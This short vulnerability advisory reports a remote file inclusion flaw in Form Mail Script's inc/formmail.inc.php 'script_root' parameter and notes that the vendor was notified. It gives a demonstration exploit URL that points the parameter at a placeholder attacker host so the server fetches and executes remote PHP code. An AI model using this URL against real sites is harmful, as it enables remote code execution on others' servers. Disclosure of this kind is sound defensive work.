Description:
A vulnerability was reported in Form Mail Script. A remote user can execute arbitrary commands on the target system.
The 'inc/formmail.inc.php' script does not properly validate user-supplied input in the 'script_root' parameter. A remote user can supply a specially crafted URL to cause the target server to include and execute arbitrary PHP code from a remote server. The code, including operating system commands, will run with the privileges of the target web service.
A demonstration exploit URL is provided:
http://[target]/[dir]/inc/formmail.inc.php?script_root=http://[attacker]/
This exploit works if register_globals and allow_url_fopen are set to 'on'.
The vendor has been notified.
